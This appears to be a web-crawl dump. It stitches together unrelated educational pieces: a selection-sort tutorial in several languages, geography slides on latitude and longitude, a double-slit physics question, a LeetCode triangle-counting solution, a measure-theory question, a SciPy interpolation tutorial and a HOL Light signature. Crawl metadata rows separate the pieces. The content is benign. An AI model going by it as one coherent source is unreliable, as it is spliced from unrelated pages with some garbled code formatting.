Este sitio web utiliza cookies para que usted tenga la mejor experiencia de usuario. Si continúa navegando está dando su consentimiento para la aceptación de las mencionadas cookies y la aceptación de nuestra illinois agility test, pinche el enlace para mayor información.
american bully pocket size weight chart | 6,547 | 24,052 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.640625 | 4 | CC-MAIN-2024-18 | latest | en | 0.903311 |
https://aiwithcloud.com/2022/09/19/the_road_to_entry_for_junior_programmers_the_use_of_simple_selection_sort/ | 1,669,829,044,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446710765.76/warc/CC-MAIN-20221130160457-20221130190457-00526.warc.gz | 121,654,494 | 22,720 | # The road to entry for junior programmers the use of simple selection sort
Let’s introduce a relatively simple [selection sort] , as follows:
Selection sort is a simple and intuitive [sorting algorithm] , and no matter what data goes in, it takes O(n²) time complexity. So when using it, the smaller the data size, the better. The only benefit may be that it doesn’t take up extra memory space.
### 1. Algorithm steps
First find the smallest (largest) element in the unsorted sequence and store it at the beginning of the sorted sequence.
Continue to find the smallest (largest) element from the remaining unsorted elements and place it at the end of the sorted sequence.
Repeat step 2 until all elements are sorted.
## 2. Code implementation
### JavaScript code implementation
```function selectionSort(arr) {
var len = arr.length;
var minIndex, temp;
for (var i = 0; i < len - 1; i++) {
minIndex = i;
for ( var j = i + 1 ; j < len; j++) {
if (arr[j] < arr[minIndex]) { // find the smallest number
minIndex = j; // save the index of the smallest number
}
}
temp = arr[i];
arr[i] = arr[minIndex];
arr[minIndex] = temp;
}
return arr;
}```
### Python code implementation
```def selectionSort (arr) :
for i in range(len(arr) - 1 ):
# record the index of the smallest number
minIndex = i
for j in range(i + 1, len(arr)):
if arr[j] < arr[minIndex]:
minIndex = j
# When i is not the smallest number, swap i and the smallest number
if i != minIndex:
arr[i], arr[minIndex] = arr[minIndex], arr[i]
return arr```
### Go code implementation
```func selectionSort(arr []int) []int {
length := len(arr)
for i := 0; i < length-1; i++ {
min := i
for j := i + 1; j < length; j++ {
if arr[min] > arr[j] {
min = j
}
}
arr[i], arr[min] = arr[min], arr[i]
}
return arr
}```
### Java code implementation
```public class SelectionSort implements IArraySort {
@Override
public int[] sort(int[] sourceArray) throws Exception {
int[] arr = Arrays.copyOf(sourceArray, sourceArray.length);
// a total of N-1 rounds of comparison
for ( int i = 0 ; i < arr.length - 1 ; i++) {
int min = i;
// The number of comparisons required per round Ni
for ( int j = i + 1 ; j < arr.length; j++) {
if (arr[j] < arr[min]) {
// Record the minimum element that can be found so far subscript of
min = j;
}
}
// Swap the min value found with the value at position i
if (i != min) {
int tmp = arr[i];
arr[i] = arr[min];
arr[min] = tmp;
}
}
return arr;
}
}```
### PHP code implementation
```function selectionSort(\$arr)
{
\$len = count(\$arr);
for (\$i = 0; \$i < \$len - 1; \$i++) {
\$minIndex = \$i;
for (\$j = \$i + 1; \$j < \$len; \$j++) {
if (\$arr[\$j] < \$arr[\$minIndex]) {
\$minIndex = \$j;
}
}
\$temp = \$arr[\$i];
\$arr[\$i] = \$arr[\$minIndex];
\$arr[\$minIndex] = \$temp;
}
return \$arr;
}```
### C language
```void swap ( int *a, int *b) //Swap two variables
{
int temp = *a;
*a = *b;
*b = temp;
}
void selection_sort(int arr[], int len)
{
int i,j;
for (i = 0 ; i < len - 1 ; i++)
{
int min = i;
for (j = i + 1 ; j < len; j++) // visit the unsorted elements
if (arr[j] < arr[min]) // find the current minimum
min = j; // Record the minimum value
swap(&arr[min], &arr[i]); //Do the swap
}
}```
### C++ implementation
```template < typename T> //Integer or floating point numbers can be used, if you want to use the object (class), you must set the operator function greater than (>)
void selection_sort ( std :: vector <T>& arr) {
for ( int i = 0 ; i < arr.size() - 1 ; i++) {
int min = i;
for ( int j = i + 1 ; j < arr.size(); j++)
if (arr[j] < arr [min])
min = j;
std::swap(arr[i], arr[min]);
}
}```
### Swift implementation
```import Foundation
/// Selection Sort
///
/// - Parameter list: Array to be sorted
func selectionSort(_ list : inout [Int]) -> Void {
for j in 0. .< list .count - 1 {
var minIndex = j
for i in j..< list .count {
if list [minIndex] > list [i] {
minIndex = i
}
}
list .swapAt(j, minIndex)
}
}``` | 1,174 | 3,963 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.828125 | 4 | CC-MAIN-2022-49 | latest | en | 0.521539 |
https://fr.slideserve.com/zandra/location-location-location-powerpoint-ppt-presentation | 1,642,922,285,000,000,000 | text/html | crawl-data/CC-MAIN-2022-05/segments/1642320304134.13/warc/CC-MAIN-20220123045449-20220123075449-00196.warc.gz | 334,826,412 | 22,065 | Location, location, location…
# Location, location, location…
Télécharger la présentation
## Location, location, location…
- - - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - - -
##### Presentation Transcript
1. Location, location, location… Absolute & Relative Location Geography Unit: Lesson 3
2. Location • Where places are located on earth • 2 types of Location • Absolute Location • An exact spot on earth (fixed—doesn’t change) • Latitude/Longitude • Hemispheres • Grid System • Address • Relative Location • Location determined by comparing one location to another (variable—changes based on your starting point) • Miles • Distance • Direction • Example: Canada is north relative to the USA. The USA is south relative to Canada.
3. Let’s look at a globe… • What are some things that you see? • Do you see land? • Do you see water? • Do you see lines? • Are there really lines on the globe? • These are imaginary lines that help us find absolute location. • Does anyone know any of the names of the imaginary lines?
4. Imaginary Lines Arctic Circle Tropic of Cancer Equator Prime Meridian Tropic of Capricorn Antarctic Circle
5. Imaginary Lines Game • To help us understand the positions on the globe we use imaginary lines. NOSE PRIME MERIDIAN HEAD NORTH POLE EARS ARTIC CIRCLE SHOULDERS TROPIC OF CANCER WAIST EQUATOR KNEES TROPIC OF CAPRICORN ANKLES ANTARCTIC CIRCLE TOES SOUTH POLE
6. Graphs • You may be familiar with this type of graph from math class. It’s a line graph. • The graph is made up of different “points” with lines that connect the points.
7. Y axis Graphs • Each point has two values • The “X” value that runs along the horizontal “X” axis • The “Y” value that runs along the vertical “Y” axis X axis
8. graphs • X value stated first, followed by the Y value (X, Y) • When the X and Y value are both zero this is called the point of origin (0, 0) Y (3,8) (9,5) X (0,0)
9. graphs • A point can also have negative values (-) • Negative X value are to the left of the origin • Negative Y value are below the origin Y (-X,+Y) (+X,+Y) (0,0) X (-X,-Y) (+X,-Y)
10. From Graphs to Maps • Let’s apply the coordinate plan from math class to maps. • Which imaginary line coincides with the X axis? • The Equator • Which imaginary line coincides with the Y axis? • The Prime Meridian • When the X and Y axes intersect on a map it called a set of latitude and longitude coordinates. Y X
11. The earth can be divided into hemispheres. • hemi=half • sphere=globe • What is the name of the imaginary line that divides the Earth into a northern & southern hemisphere? • Equator • What is the name of the imaginary line that divides the Earth into a western & eastern hemisphere? • Prime Meridian
12. Quadrants of the Globe N • Using the Equator and the Prime Meridian as the point of origin the earth is divided into four quadrants, or quarters. • The quadrants are designated by either N or S AND E or W. W E S
13. Quadrants of the Globe • What does the N and S indicate in terms of position on the earth? • N indicates above the equator • S indicates below the equator • What does the E and W indicate in terms of position of the Earth? • E indicates East of the Prime Meridian • W indicates West of the Prime Meridian (N, W) (N, E) (S, W) (S, E)
14. Quadrants of the Globe ? ? NW NE Arctic Circle Tropic of Cancer Equator Prime Meridian Tropic of Capricorn Antarctic Circle ? ? SW SE
15. Quadrants of the Globe North America is North of the Equator and West of the Prime Meridian • In which quadrant is North America? (N, W)
16. Quadrants of the Globe • In which quadrant would Australia be located in? • This means the latitude & longitude coordinates would be (S, E) ? Australia is South of the Equator and East of the Prime Meridian (S, E)
17. What exactly is latitude? • Latitude is the distance N or S from the equator and is measured along the Y axis • Values are expressed in degrees from 0°-90° N or S • What will all points along the equator have? • 0° 90°N Y X 90°S
18. East is the direction of rotation of the Earth Latitude: (90oN to 90oS) Tropic of Cancer Latitude 23½o North 21st June 66½o 23½o 90o 22nd Sept 20th March North Pole Equator Latitude 0o 23½o 900 22nd December Tropic of Capricorn Latitude 23½o South South Pole Positioning on the Earth’s Surface
19. longitude • Longitude is the distance E or W from the Prime Meridian measured on the X axis • What value will all points located on the Prime Meridian have? • Value is expressed from 0°-180° E or W • 360° total (degrees in circle!) Y X 180°W 180°E
20. Lines that are east or west of the Prime Meridian are lines of longitude, or meridians
21. East is the direction of rotation of the Earth Longitude: (180oE to 180oW) Prime Meridian 0o Longitude 30oE Equator Latitude 0o Longitude 90o West Longitude 90oEast Longitude 60o West Longitude 60o East Longitude 30o West Longitude 30o East Positioning on the Earth’s Surface
22. Look at the diagrams. • How are lines of latitude and longitude measured? • degrees
23. East is the direction of rotation of the Earth Latitude: (90oN to 90oS) Longitude: (180oE to 180oW) Prime Meridian 0o Longitude Tropic of Cancer Latitude 23½o North 21st June 66½o 90oE 60oE 30oW 30oE 60oW 90oW 23½o 90o 22nd Sept 20th March North Pole Equator Latitude 0o 23½o 900 22nd December Tropic of Capricorn Latitude 23½o South Longitude 90o West Longitude 90oEast Longitude 60o West Longitude 60o East Longitude 30o West Longitude 30o East South Pole Positioning on the Earth’s Surface Latitude and Longitude together enable the fixing of position on the Earth’s surface.
24. In which quadrant are these coordinates located in? • Use the map on your notesheet and a PENCIL to plot the coordinates and label with the correct quadrant (A, B, C, D). 1. 40°N, 20°E 2. 37°N, 76°W 3. 72°S, 141°W 4. 7°S, 23°W 5. 15°N, 29°E 6. 34°S, 151°E
25. A B 1 2 4 5 6 3 C D 1. B 2. A 3. C 4.C 5. B 6. D
26. Why is this important? • Using latitude and longitude you are able to locate places on the globe. • With a set of coordinates, you are able to determine the quadrant in which a place is located, making it easier to find on a map. • Also, depending on the degree of latitude, you can approximate what the climate of area might be like. • For example, what do you think the temperature might be like at the following degrees of latitude? Why? • 66°N • O° • 70°S
27. Latitude/Longitude Practice • Using the Textbook Atlas on A1-A22, work with your partner to find the names of the locations at the coordinates listed on the sheet. • There are hints on the paper to help narrow your focus. • You may have to look at a world map to find the quadrant the coordinates are in, then find a more zoomed in map on that area. • You have until the end of the period. | 1,874 | 6,839 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.46875 | 3 | CC-MAIN-2022-05 | latest | en | 0.813882 |
https://physics.stackexchange.com/questions/203979/why-does-moving-the-source-slit-closer-to-the-double-slit-plane-decrease-the-sha | 1,709,491,301,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947476397.24/warc/CC-MAIN-20240303174631-20240303204631-00840.warc.gz | 455,036,297 | 39,812 | # Why does moving the source-slit closer to the double-slit plane decrease the sharpness of the interference-pattern?
Thomas Young used a single-slit plane before the two-slits plane in order to make the light source coherent.
My book (NCERT Physics II) presents the above query and writes:
Let $s$ be the size of the source-slit and $S$ its distance from the plane of two slits. For interference fringes to be seen, the condition $$\dfrac{s}{S}\lt \dfrac{\lambda}{d}$$ should be satisfied; otherwise, interference patterns produced by different parts of the source overlap and no fringes are seen. Thus, as $S$ decreases (i.e. the source slit is brought closer), the interference pattern gets less and less sharp, and when the source is brought too close for this condition to be valid, the fringes disappear.
I've totally failed to comprehend what the book is saying. I also don't know how it deduced the inequality relation. Can anyone please explain me what is the reason for this phenomenon? Also, can anyone tell me how the inequality relation was deduced? What does it mean by sharpness of the interference pattern? | 251 | 1,126 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2024-10 | latest | en | 0.940791 |
http://learn-myself.com/teach-your-baby-to-count-tips-1936/ | 1,487,858,002,000,000,000 | text/html | crawl-data/CC-MAIN-2017-09/segments/1487501171171.24/warc/CC-MAIN-20170219104611-00060-ip-10-171-10-108.ec2.internal.warc.gz | 148,661,163 | 16,176 | To teach children the basics of mathematics is possible already withthree or four years. Usually children of this age already know how to intelligently calculate how much they see those or other items, not just to show them with your fingers, calling numbers, as do babies of two years.
The main thing - to provide training so that it is feasible and brings pleasure to the child.
Start learning account with real-world examples. Going for a walk, ask your child to count the number of animals, which he sees in the yard. A good clear example can also be trees, houses, and the number of windows in them, and even swallows on wires. Back home, count the number of shoes in the hallway, and ask the kid as far as it has increased since you took off his shoes. It can be asked to count the number of cutlery on the table. Let the kid first considers all the forks and spoons separately and then put them together.
When teaching children, especially small ones, can not becan not do without elements of the game. Travel with a baby in the imaginary store, calling the pre-required for your products and their quantity. After accidentally "forget" about a certain product or call the wrong number of his child to have corrected. Thus, you will not only train his counting skills, but also develop a memory. The process of "payment" must also take place. Of course, for this purpose should not use real money, and fictitious "currency", for example - candy wrappers, buttons or pieces of colored paper. Let their child for correct answers and the manifestation of intelligence.
To study the numbers from one to ten,use images with those numbers, which you can buy or make yourself. The main thing - that they are beautiful, bright and are all the time in front of the eyes of a baby. Pay attention to the child on the number of "zero". Explain to your child what it means "nothing."
After a successful study, go to the nextstage - the study of tens. The best way to explain the formation of such numbers on matches. First, lay out the ten matches of the same color, and the top - ten matches of a different color. You can put them in order, and call each number separately. Explain that two decades - is twenty, thirty - thirty, and so on. Make sure that the child successfully mastered the information, and then teach him to fold, and calculate the same way as it did in the previous steps. | 507 | 2,391 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.640625 | 4 | CC-MAIN-2017-09 | latest | en | 0.962656 |
https://www.leetfree.com/problems/valid-triangle-number?tab=solution | 1,638,417,739,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964361064.69/warc/CC-MAIN-20211202024322-20211202054322-00413.warc.gz | 918,586,808 | 6,089 | ## 611. Valid Triangle Number
Given an array consists of non-negative integers, your task is to count the number of triplets chosen from the array that can make triangles if we take them as side lengths of a triangle.
Example 1:
```Input: [2,2,3,4]
Output: 3
Explanation:
Valid combinations are:
2,3,4 (using the first 2)
2,3,4 (using the second 2)
2,2,3
```
Note:
1. The length of the given array won't exceed 1000.
2. The integers in the given array are in the range of [0, 1000].
b'
\n\n
## Solution
\n
\n
#### Approach #1 Brute Force [Time Limit Exceeded]
\n
The condition for the triplets representing the lengths of the sides of a triangle, to form a valid triangle, is that the sum of any two sides should always be greater than the third side alone. i.e. , , .
\n
The simplest method to check this is to consider every possible triplet in the given array and checking if the triplet satisfies the three inequalities mentioned above. Thus, we can keep a track of the of the number of triplets satisfying these inequalities. When all the triplets have been considered, the gives the required result.
\n\n
Complexity Analysis
\n
\n
• \n
Time complexity : . Three nested loops are there to check every triplet.
\n
• \n
• \n
Space complexity : . Constant space is used.
\n
• \n
\n
\n
#### Approach #2 Using Binary Search [Accepted]
\n
Algorithm
\n
If we sort the given array once, we can solve the given problem in a better way. This is because, if we consider a triplet such that , we need not check all the three inequalities for checking the validity of the triangle formed by them. But, only one condition would suffice. This happens because and . Thus, adding any number to will always produce a sum which is greater than either or considered alone. Thus, the inequalities and are satisfied implicitly by virtue of the property .
\n
From this, we get the idea that we can sort the given array. Then, for every pair considered starting from the beginning of the array, such that (leading to ), we can find out the count of elements (), which satisfy the inequality . We can do so for every pair considered and get the required result.
\n
We can also observe that, since we\'ve sorted the array, as we traverse towards the right for choosing the index (for number ), the value of could increase or remain the same(doesn\'t decrease relative to the previous value). Thus, there will exist a right limit on the value of index , such that the elements satisfy . Any elements beyond this value of won\'t satisfy this inequality as well, which is obvious.
\n
Thus, if we are able to find this right limit value of (indicating the element just greater than ), we can conclude that all the elements in array in the range (both included) satisfy the required inequality. Thus, the of elements satisfying the inequality will be given by .
\n
Since the array has been sorted now, we can make use of Binary Search to find this right limit of . The following animation shows how Binary Search can be used to find the right limit for a simple example.
\n
!?!../Documents/Valid_Triangle_Binary.json:1000,563!?!
\n
Another point to be observed is that once we find a right limit index for a particular pair chosen, when we choose a higher value of for the same value of , we need not start searching for the right limit from the index . Instead, we can start off from the index directly where we left off for the last chosen.
\n
This holds correct because when we choose a higher value of (higher or equal than the previous one), all the , such that will obviously satisfy for the new value of chosen.
\n
By taking advantage of this observation, we can limit the range of Binary Search for to shorter values for increasing values of considered while choosing the pairs .
\n\n
Complexity Analysis
\n
\n
• \n
Time complexity : . In worst case inner loop will take (binary search applied times).
\n
• \n
• \n
Space complexity : . Sorting takes space.
\n
• \n
\n
\n
#### Approach #3 Linear Scan [Accepted]:
\n
Algorithm
\n
As discussed in the last approach, once we sort the given array, we need to find the right limit of the index for a pair of indices chosen to find the of elements satisfying for the triplet to form a valid triangle.
\n
We can find this right limit by simply traversing the index \'s values starting from the index for a pair chosen and stopping at the first value of not satisfying the above inequality. Again, the of elements satisfying for the pair of indices chosen is given by as discussed in the last approach.
\n
Further, as discussed in the last approach, when we choose a higher value of index for a particular chosen, we need not start from the index . Instead, we can start off directly from the value of where we left for the last index . This helps to save redundant computations.
\n
The following animation depicts the process:
\n
!?!../Documents/Valid_Triangle_Linear.json:1000,563!?!
\n\n
Complexity Analysis
\n
\n
• \n
Time complexity : . Loop of and will be executed times in total, because, we do not reinitialize the value of for a new value of chosen(for the same ). Thus the complexity will be O(n^2+n^2)=O(n^2).
\n
• \n
• \n
Space complexity : . Sorting takes O(logn) space.
\n
• \n
\n
\n
Analysis written by: @vinod23
\n
' | 1,241 | 5,325 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.0625 | 4 | CC-MAIN-2021-49 | latest | en | 0.893286 |
https://math.stackexchange.com/questions/4320032/why-do-we-work-on-the-borel-sigma-algebra-and-not-on-the-lebesgue-sigma-algebra | 1,716,527,015,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058677.90/warc/CC-MAIN-20240524025815-20240524055815-00361.warc.gz | 326,449,839 | 36,009 | # Why do we work on the Borel sigma algebra and not on the Lebesgue sigma algebra?
In most measure theory text books one derives the Lebesgue anh Borel-Lebesgue measure from Caratheodory's extension to outer measures by first proving that the set of $$\lambda^*$$ measurable sets is a sigma algebra (the Lebesgue sigma algebra) and that $$\lambda^*$$ restricted to that sigma algebra is a measure, the Lebesgue measure. This measure space is even complete. However, then still one continues to show that $$\lambda^*$$ restricted to the sigmal algebra generated by the ring (on which the pre-measure was defined that was used to obtain $$\lambda^*$$ via Caratheodorys extension) is also a measure, the Borel-Lebesgue measure, and that the generated sigma algebra is the Borel sigma algebra.
So my question is, why is the Borel sigma-algebra "better" than the Lebesgue sigma algebra, because most of the time text books continue to work only on the Borel sigma algebra, even though the Lebesgue sigma algebra is its completetion and has some other favorable properties? I.e., I am just missing an argument in all the lecture notes and text books why we continue to work on the Borel sigma-algebra after having shown that the Lebesgue sigma algebra is larger (and after all we do all the extension from a pre-measure to an outer measure and then restricting to a measure because we want to get a larger set than just the ring on which we initially defined the pre-measure).
• the main reason is that its simpler and less problematic, the Borel $\sigma$-algebra, than the Lebesgue one, and that if $f$ is Lebesgue measurable then there is a Borel measurable function $g$ such that $f=g$ a.e. (respect to the Lebesgue measure). Its the same reason why we many times work in $\mathbb{Q}$ instead of $\mathbb{R}$ when we can: because its a lot simpler. Nov 30, 2021 at 8:56
• I guess you will find nice discussions here: mathoverflow.net/questions/31603/… Nov 30, 2021 at 9:15
Consider the inclusion-like map $$f\colon \Bbb R \to \Bbb R^n, x\mapsto (x, 0,\ldots, 0)$$ for $$n>1$$.
This function is continuous and hence Borel-measurable. If you equip $$\Bbb R$$ and $$\Bbb R^n$$ with the Lebesgue-$$\sigma$$-algebra, this mapping suddenly is not measurable anymore. Take some $$V\subseteq \Bbb R$$ which is not Lebesgue-measurable (to argue that these exists, take some argument like in the proof of Vitali's theorem with the translation invariant Lebesgue-measure). By definition $$V\times \{0\}^{n-1} \subseteq \Bbb R \times \{0\}^{n-1}$$ is Lebesgue measurable, as $$\lambda(\Bbb R \times \{0\}^{n-1}) = 0$$. But $$f^{-1}(V\times \{0\}^{n-1}) = V$$ which shows that $$f$$ is not measurable. We found a very simple continuous function, which is not measurable. That is very inconvenient. | 753 | 2,785 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 14, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.875 | 3 | CC-MAIN-2024-22 | latest | en | 0.934185 |
https://encyclopedia2.thefreedictionary.com/Hamilton-Jacobi+equation | 1,585,782,132,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585370506477.26/warc/CC-MAIN-20200401223807-20200402013807-00337.warc.gz | 428,036,824 | 12,712 | # Hamilton-Jacobi equation
Also found in: Acronyms.
## Hamilton-Jacobi equation
[′ham·əl·tən jə′kō·bē i‚kwā·zhən]
(mathematics)
A particular partial differential equation useful in studying certain systems of ordinary equations arising in the calculus of variations, dynamics, and optics: H (q1, …, qn , ∂φ/∂ q1, …, ∂φ/∂ qn , t) + ∂φ/∂ t = 0, where q1, …, qn are generalized coordinates, t is the time coordinate, H is the Hamiltonian function, and φ is a function that generates a transformation by means of which the generalized coordinates and momenta may be expressed in terms of new generalized coordinates and momenta which are constants of motion.
References in periodicals archive ?
Because the right hand side of (8) contains only first partial derivatives of u, it has the form of a Hamilton-Jacobi equation of classical mechanics [27],
This general relativistic Hamilton-Jacobi equation becomes a scalar wave equation via the transformation to eliminate the squared first derivative, i.e., by defining the wave function [PSI] (q, p, t) of position q, momentum p, and time t as
Identifying [bar.p] with [nabla]S and comparing with the Hamilton-Jacobi equation:
(b) Higher-order WKB corrections: Using WKB approximation method, the lowest order of the equation of motion describing a particle moving in the black hole gives the Hamilton-Jacobi equation. The WKB approximation breaks down when the de Broglie wavelength of the particle, [[lambda].sub.p] ~ h/E, becomes comparable to the horizon of black hole, [r.sub.H].
By taking into account the effect of GUP, in a curved spacetime, the revised Hamilton-Jacobi equation for the motion of scalar particles can be expressed as [26]
The main aim of this paper is to investigate thermal radiation from Klein-Gordon equation, Maxwell's electromagnetic field equations, Dirac particles, and also nonthermal radiation of Hamilton-Jacobi equation in general nonstationary black hole.
At the classical limit (h [right arrow] 0) Q vanishes and (4) reduces to the Hamilton-Jacobi equation. For this reason, Bohm [1] suggested that S is the classical action function, which relates to the actual velocity, v = [nabla]S /m, of the particle.
In this paper, we adopt a simple and effective method (i.e., Hamilton-Jacobi equation) to analyze the Hawking radiation of the regular phantom BH.
The Hamilton-Jacobi equation is derived for such motion and the effects of the curvature upon the quantization are analyzed, starting from a generalization of the Klein-Gordon equation in curved spaces.
Recall that the QCM general wave equation derived from the general relativistic Hamilton-Jacobi equation is approximated by a Schrodinger-like wave equation and that a QCM quantization state is completely determined by the system's total baryonic mass M and its total angular momentum [H.sub.[summation]].
When the above expression for the Weyl scalar curvature (Bohm's quantum potential given in terms of the ensemble density) is inserted into the Hamilton-Jacobi equation, in conjunction with the continuity equation, for a momentum given by [p.sub.k] = [[partial derivative].sub.k]S, one has then a set of two nonlinear coupled partial differential equations.
which is therefore but another form taken by the KG equation (as expected from the fact that the KG equation is the quantum equivalent of the Hamilton-Jacobi equation).
Site: Follow: Share:
Open / Close | 786 | 3,408 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.734375 | 3 | CC-MAIN-2020-16 | longest | en | 0.831873 |
https://codingstreets.com/python-scipy-interpolation/ | 1,717,087,938,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971668873.95/warc/CC-MAIN-20240530145337-20240530175337-00145.warc.gz | 147,772,966 | 43,504 | Search
Introduction to Python SciPy Interpolation
Python SciPy Interpolation – Before moving ahead, let’s know a bit about Python SciPy Matlab Arrays
### SciPy Interpolation
Interpolation is the process of finding or generating numbers between a set of points or numbers.
e.g., 4 and 5, we might get generated numbers such as 4.6 and 4.9.
Interpolation has often been used to give an alternate value in Machine Learning while finding missing data in the dataset.
The method of substituting the values is known as imputation.
In addition to imputation, interpolation is commonly used when we want to smooth discrete data points.
### Implementation of Interpolation
To get started with Interpolation, SciPy provides a method called scipy.interpolation, which comes with many functions to deal with interpolation.
Interp1d() is a function that is used to interpolate distributions using one variable.
It is a function that takes the x along with one or more y elements and then returns a function called by using new numbers and returns the corresponding to y.
Example – For given x and y interpolate values from 5.1, 5.2… to 6.1.
from scipy.interpolate import interp1d
import numpy as np
x = np.arange(8)
y = 1*x + 2
interpolation_function = interp1d(x, y)
new_array = interpolation_function(np.arange(5.1, 6.1, 0.2))
print(new_array)
Output -
[7.1 7.3 7.5 7.7 7.9]
As show above, it returned an array in a range of given number.
Spline interpolation
Spline interpolation is when the points are fitted to a one-piece function defined by polynomials, also known as Splines.
For the Spline interpolation, SciPy has provided UnivariateSpline() function that takes two arguments, x, and y and produces a callable function called new x.
One-piece Function: A function that has a different definition for various sizes.
Example – Finding univariate spline interpolation for 5.1, 5.2… to 6.1 for the following non- linear points.
from scipy.interpolate import UnivariateSpline
import numpy as np
x = np.arange(8)
y = x**3 + np.cos(x) + 1
interpolation_function = UnivariateSpline(x, y)
new_array = interpolation_function(np.arange(5.1, 6.1, 0.2))
print(new_array)
Output -
[133.79378819 150.11992548 167.71811206 186.63516855 206.9179156]
As a result, it returned an array in a range of given number.
### Interpolation with Radial Basis Function
The Radial Basis Function is one term that is defined to correspond to a reference fixed point.
SciPy has provided Rbf() function for the Radial Basis Function that takes two arguments x and y and produces a callable function called with new x.
Example – Finding values for 5.1, 5.2 … 6.1 by using RBF.
from scipy.interpolate import Rbf
import numpy as np
x = np.arange(8)
y = x**3 + np.sin(x) + 1
interpolation_function = Rbf(x, y)
new_array = interpolation_function(np.arange(5.1, 6.1, 0.2))
print(new_array)
Output -
[132.41533831 148.03101638 165.08064737 183.99457339 205.19538658]
As a result, it returned an array in a range of given number by using Rbf function.
If you find anything incorrect in the above-discussed topic and have any further questions, please comment below.
Connect on:
Share on | 815 | 3,193 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.15625 | 3 | CC-MAIN-2024-22 | longest | en | 0.831284 |
http://www.cl.cam.ac.uk/~jrh13/hol-light/HTML/SEMIRING_NORMALIZERS_CONV.html | 1,521,953,863,000,000,000 | text/html | crawl-data/CC-MAIN-2018-13/segments/1521257651820.82/warc/CC-MAIN-20180325044627-20180325064627-00756.warc.gz | 356,687,339 | 2,623 | `SEMIRING_NORMALIZERS_CONV : thm -> thm -> (term -> bool) * conv * conv * conv -> (term -> term -> bool) -> (term -> thm) * (term -> thm) * (term -> thm) * (term -> thm) * (term -> thm) * (term -> thm)`
